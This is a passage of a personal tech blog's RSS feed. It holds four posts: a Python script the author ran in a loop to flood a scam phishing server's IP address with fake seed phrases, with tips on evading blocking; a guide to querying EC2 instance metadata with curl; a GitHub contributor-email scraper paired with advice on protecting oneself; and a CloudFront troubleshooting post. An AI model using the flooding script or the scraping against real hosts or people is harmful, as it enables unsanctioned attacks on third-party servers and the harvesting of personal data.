</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_PHRASE_WORDS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># getting list of 12 random words</span>
</span></span><span class="line"><span class="cl"><span class="n">seed_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">SEED_PHRASE_WORDS</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># joining the list of 12 words into a single string</span>
</span></span><span class="line"><span class="cl"><span class="n">seed_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">seed_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl"><span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;send_words&#34;</span><span class="p">:</span> <span class="n">seed_phrase</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sending GET request</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://176.113.115.238/38sy2a0egs6zhxv/log.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Sent phrase: </span><span class="si">{</span><span class="n">seed_phrase</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I ran this and it worked:</p>
<img src="/retaliating-against-metamask-scammers/script-output.webp" alt="script output" width="720" height="65" style="max-width: 100%; height: auto; aspect-ratio: 1468 / 134;" loading="lazy" decoding="async">
<p>The final step was to put this on a loop and leave it running for a very long time. I added a <code>while</code> loop. This is what the updated code looks like:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_PHRASE_WORDS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># getting list of 12 random words</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">SEED_PHRASE_WORDS</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># joining the list of 12 words into a single string</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">seed_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl">    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;send_words&#34;</span><span class="p">:</span> <span class="n">seed_phrase</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># sending GET request</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://176.113.115.238/38sy2a0egs6zhxv/log.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Sent phrase: </span><span class="si">{</span><span class="n">seed_phrase</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>After that, I left my script running overnight:</p>
<img src="/retaliating-against-metamask-scammers/script-output-2.webp" alt="script output with loop" width="720" height="503" style="max-width: 100%; height: auto; aspect-ratio: 1663 / 1163;" loading="lazy" decoding="async">
<p>The morning after, I noticed that my script output was stuck along with a new response message&hellip;</p>
<img src="/retaliating-against-metamask-scammers/scammer-response.webp" alt="scammer response" width="720" height="503" style="max-width: 100%; height: auto; aspect-ratio: 1662 / 1163;" loading="lazy" decoding="async">
<p>I guess they caught on LOL. They blocked my IP address from sending requests, so I simply changed my IP address and carried on.</p>
<blockquote><p><strong>2022-07-25 Update:</strong></p><p>I should have included headers in my requests to make them look as legitimate as possible. The <code>requests</code> Python package sends the version of the package itself in the <code>User-Agent</code> header, giving away the fact that Python is being used to send requests.</p>
<p>The following code shows an example of the <code>User-Agent</code> being sent:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://google.com&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; {&#39;User-Agent&#39;: &#39;python-requests/2.27.1&#39;, &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;, &#39;Accept&#39;: &#39;*/*&#39;, &#39;Connection&#39;: &#39;keep-alive&#39;}</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>Using 

<a href="https://www.obdev.at/products/littlesnitch/index.html" target="_blank" rel="noopener">Little Snitch</a> I was able to see that this IP address originates from Russia, which I thought was interesting.</p>
<img src="/retaliating-against-metamask-scammers/little-snitch.webp" alt="Little Snitch connection to Russia" width="720" height="304" style="max-width: 100%; height: auto; aspect-ratio: 3380 / 1429;" loading="lazy" decoding="async">
<h2 id="final-thoughts">Final Thoughts</h2>
<p>I hate scammers. I hope I made their lives difficult.
If they&rsquo;re smart, they&rsquo;ll filter out seed phrases coming in from my IP address in their database.
But considering that their fake MetaMask site doesn&rsquo;t use a domain or SSL, they probably aren&rsquo;t very bright.
Even if my original IP address was blocked, I&rsquo;m sure the seed phrases I provided polluted their database. I doubt they&rsquo;re keeping track of IP addresses at the database level.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Getting EC2 Instance Metadata Using IMDSv1</title>
      <link>https://nelson.cloud/getting-ec2-instance-metadata-using-imdsv1/?ref=rss</link>
      <pubDate>Tue, 08 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/getting-ec2-instance-metadata-using-imdsv1/?ref=rss</guid>
      <description>How to get EC2 Instance metadata using IMDSv1</description><content:encoded><![CDATA[<p>Sometimes I need to get information about an EC2 instance within a script but the 

<a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html" target="_blank" rel="noopener">AWS documentation</a> doesn&rsquo;t provide many useful examples.
Instead of poking around through all the available metadata endpoints, I made this list of curl commands to retrieve commonly used EC2 information.
Run any of these commands within an EC2 instance. These commands have been tested on an Amazon Linux 2 instance.</p>
<p>These are not all the possible values you can retrieve from the metadata service, these are only the ones I found most useful.</p>
<blockquote><p><strong>Warning:</strong></p>This post covers Instance Metadata Service Version 1 (IMDSv1). For security purposes, it is recommended that you use IMDSv2. I created a separate post covering IMDSv2 here: 

<a href="https://nelson.cloud/getting-ec2-instance-metadata-using-imdsv2/" target="_blank" rel="noopener">Getting EC2 Instance Metadata Using IMDSv2</a></blockquote>

<p>If you want a bash script that you can copy and paste, scroll down to the bottom of this article.</p>
<h2 id="metadata-retrieval-with-curl">Metadata Retrieval with curl</h2>
<p>View all available categories of metadata:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ami-id
</span></span><span class="line"><span class="cl">ami-launch-index
</span></span><span class="line"><span class="cl">ami-manifest-path
</span></span><span class="line"><span class="cl">block-device-mapping/
</span></span><span class="line"><span class="cl">events/
</span></span><span class="line"><span class="cl">hibernation/
</span></span><span class="line"><span class="cl">hostname
</span></span><span class="line"><span class="cl">iam/
</span></span><span class="line"><span class="cl">identity-credentials/
</span></span><span class="line"><span class="cl">instance-action
</span></span><span class="line"><span class="cl">instance-id
</span></span><span class="line"><span class="cl">instance-life-cycle
</span></span><span class="line"><span class="cl">instance-type
</span></span><span class="line"><span class="cl">local-hostname
</span></span><span class="line"><span class="cl">local-ipv4
</span></span><span class="line"><span class="cl">mac
</span></span><span class="line"><span class="cl">metrics/
</span></span><span class="line"><span class="cl">network/
</span></span><span class="line"><span class="cl">placement/
</span></span><span class="line"><span class="cl">profile
</span></span><span class="line"><span class="cl">public-keys/
</span></span><span class="line"><span class="cl">reservation-id
</span></span><span class="line"><span class="cl">security-groups
</span></span><span class="line"><span class="cl">services/
</span></span></code></pre></td></tr></table>
</blockquote><p>Get instance AMI ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/ami-id
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ami-0d43f810ac49e9511
</span></span></code></pre></td></tr></table>
</blockquote><p>Get hostname:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/hostname
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ip-10-128-128-128.us-west-1.compute.internal
</span></span></code></pre></td></tr></table>
</blockquote><p>Get AWS account ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/identity-credentials/ec2/info <span class="p">|</span> grep <span class="s2">&#34;AccountId&#34;</span> <span class="p">|</span> awk -F<span class="se">\&#34;</span> <span class="s1">&#39;{print $4}&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="m">123456789012</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Get instance ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/instance-id
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">i-01234567890f1234b
</span></span></code></pre></td></tr></table>
</blockquote><p>Get instance type:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/instance-type
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">t2.medium
</span></span></code></pre></td></tr></table>
</blockquote><p>Get IPv4 address:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/local-ipv4
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10.128.128.128
</span></span></code></pre></td></tr></table>
</blockquote><p>Get MAC address:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/mac
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">05:5f:bd:1a:4c:77
</span></span></code></pre></td></tr></table>
</blockquote><p>Get availability zone:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">us-west-1a
</span></span></code></pre></td></tr></table>
</blockquote><p>Get availability zone ID:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone-id
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">usw1-az1
</span></span></code></pre></td></tr></table>
</blockquote><p>Get security groups associated with the instance:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ curl -s http://169.254.169.254/latest/meta-data/security-groups
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">my-security-group-1
</span></span><span class="line"><span class="cl">my-security-group-2
</span></span><span class="line"><span class="cl">my-security-group-3
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="bash-script">Bash Script</h2>
<p>Copy and paste this bash snippet and use values as needed:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="nv">AMI_ID</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/ami-id<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">HOSTNAME</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/hostname<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">ACCOUNT_ID</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/identity-credentials/ec2/info <span class="p">|</span> grep <span class="s2">&#34;AccountId&#34;</span> <span class="p">|</span> awk -F<span class="se">\&#34;</span> <span class="s1">&#39;{print $4}&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">INSTANCE_ID</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/instance-id<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">INSTANCE_TYPE</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/instance-type<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">LOCAL_IPV4</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/local-ipv4<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">MAC_ADDRESS</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/mac<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">AVAILABILITY_ZONE</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">AVAILABILITY_ZONE_ID</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone-id<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">SECURITY_GROUPS</span><span class="o">=</span><span class="k">$(</span>curl -s http://169.254.169.254/latest/meta-data/security-groups<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$AMI_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$HOSTNAME</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$ACCOUNT_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$INSTANCE_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$INSTANCE_TYPE</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$LOCAL_IPV4</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$MAC_ADDRESS</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$AVAILABILITY_ZONE</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$AVAILABILITY_ZONE_ID</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="nv">$SECURITY_GROUPS</span>
</span></span></code></pre></td></tr></table>
</blockquote>]]></content:encoded>
    </item>
    <item>
      <title>Scraping GitHub Contributor Emails</title>
      <link>https://nelson.cloud/scraping-github-contributor-emails/?ref=rss</link>
      <pubDate>Sat, 30 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/scraping-github-contributor-emails/?ref=rss</guid>
      <description>Scraping GitHub contributor emails, and how you can protect yourself.</description><content:encoded><![CDATA[<blockquote><p><strong>Note:</strong></p>2022-07-21 update: I discovered a better way to do this and I wrote about it in a separate blog post. Check it out here: 

<a href="https://nelson.cloud/scrape-contributor-emails-from-any-git-repository/" target="_blank" rel="noopener">Scrape Contributor Emails From Any Git Repository</a></blockquote>

<h2 id="git-emails">Git Emails</h2>
<p>When setting up Git on the command line, you are asked for your email.
When pushing commits to GitHub, the email you are using for Git gets pushed along with your code as part of the metadata.
While your GitHub email does not publicly show when viewing a repository&rsquo;s commits, it does come up when viewing commits using the GitHub API.</p>
<p>This presents a privacy risk and the potential for someone to find the email associated with your GitHub account.
I wanted to see how easily someone could do this so I created a scraper to do this for me. It turns out it&rsquo;s not hard to scrape commits for emails that are otherwise hidden from public view.</p>
<blockquote><p><strong>Disclaimer:</strong></p>I don&rsquo;t plan on doing anything malicious with this script or the emails collected. I did this out of curiosity and for demonstrational purposes.</blockquote>

<p>The scraper I created is below. Instructions can be found on the README:</p>
<ul>
<li>

<a href="https://github.com/nelsonfigueroa/github-email-scraper" target="_blank" rel="noopener">https://github.com/nelsonfigueroa/github-email-scraper</a></li>
</ul>
<h2 id="scraping-for-emails">Scraping for Emails</h2>
<p>By running the script, I can scrape for emails found in each commit for a given repository:</p>
<pre tabindex="0"><code>$ ruby main.rb -u torvalds -r linux

	+-------------------+
	|   GitHub          |
	|       Email       |
	|         Scraper   |
	+-------------------+


Scraping https://github.com/torvalds/linux/
Rate limit exceeded.
Pages scraped: 1-46 out of 10449
53 emails written to torvalds-linux.txt
</code></pre><p>Just like that, I&rsquo;ve scraped several emails. It&rsquo;s not much, and I could get a lot more if I bothered to authenticate to prevent rate limiting.
A patient scraper could simply run this periodically to get as many emails as possible.</p>
<p>So what can we do about this?</p>
<h2 id="hiding-your-email-in-github-commits">Hiding your Email in GitHub Commits</h2>
<p>You can choose to hide your email when performing Git operations on the GitHub site as well as the command line. There are two checkboxes you&rsquo;ll need to tick. Instructions are below:</p>
<ul>
<li>

<a href="https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address" target="_blank" rel="noopener">Blocking command line pushes that expose your personal email address</a></li>
</ul>
<p>Next, you&rsquo;ll need to change your email Git uses on your machine to the <code>@users.noreply.github.com</code> email that GitHub provided in the previous step. Run the following:</p>
<pre tabindex="0"><code>$ git config --global user.email &#34;00000000+yourusername@users.noreply.github.com&#34;
</code></pre><p>Then verify that the email has been set:</p>
<pre tabindex="0"><code>$ git config --global user.email
00000000+yourusername@users.noreply.github.com
</code></pre><p>Now your actual email will be hidden from Git commits that have been pushed from your machine as well as any Git operations on GitHub. Note that your email will still show up in older commits that were pushed before these changes.
However, this will still improve your privacy on GitHub going forward.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Resolving AWS CloudFront Access Denied Errors</title>
      <link>https://nelson.cloud/resolving-aws-cloudfront-access-denied-errors/?ref=rss</link>
      <pubDate>Sun, 25 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/resolving-aws-cloudfront-access-denied-errors/?ref=rss</guid>
      <description>Resolving Access Denied Errors in a CloudFront Distribution that uses a Private S3 Bucket, Origin Access Identity, and Contains Multiple index.html Templates.</description><content:encoded><![CDATA[<blockquote><p><strong>Info:</strong></p>Note that Origin Access Identity has since been deprecated by AWS. The replacement is 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-restricting-access-to-s3.html" target="_blank" rel="noopener">Origin Access Control</a>. I have no idea if that fixes the issue I talk about below, but it&rsquo;s something to be aware of.</blockquote>

<p>If you&rsquo;re seeing &ldquo;Access Denied&rdquo; errors on CloudFront and 

<a href="https://repost.aws/knowledge-center/s3-website-cloudfront-error-403" target="_blank" rel="noopener">the official troubleshooting docs</a> aren&rsquo;t helping, you might be running into the following issue.</p>
<p>I discovered that &ldquo;Access Denied&rdquo; errors may show up when a CloudFront Distribution is set up under the following conditions:</p>
<ul>
<li>A private S3 Bucket is being used along with a S3 Origin in the CloudFront Distribution</li>
<li>An Origin Access Identity is being used. (This is necessary if the bucket is private. When a user hits the distribution, the Origin Access Identity retrieves files from the bucket and forwards them to the distribution and to the end user. The end user never accesses the bucket directly.)</li>
<li>Multiple index.html templates exist in the bucket</li>
</ul>
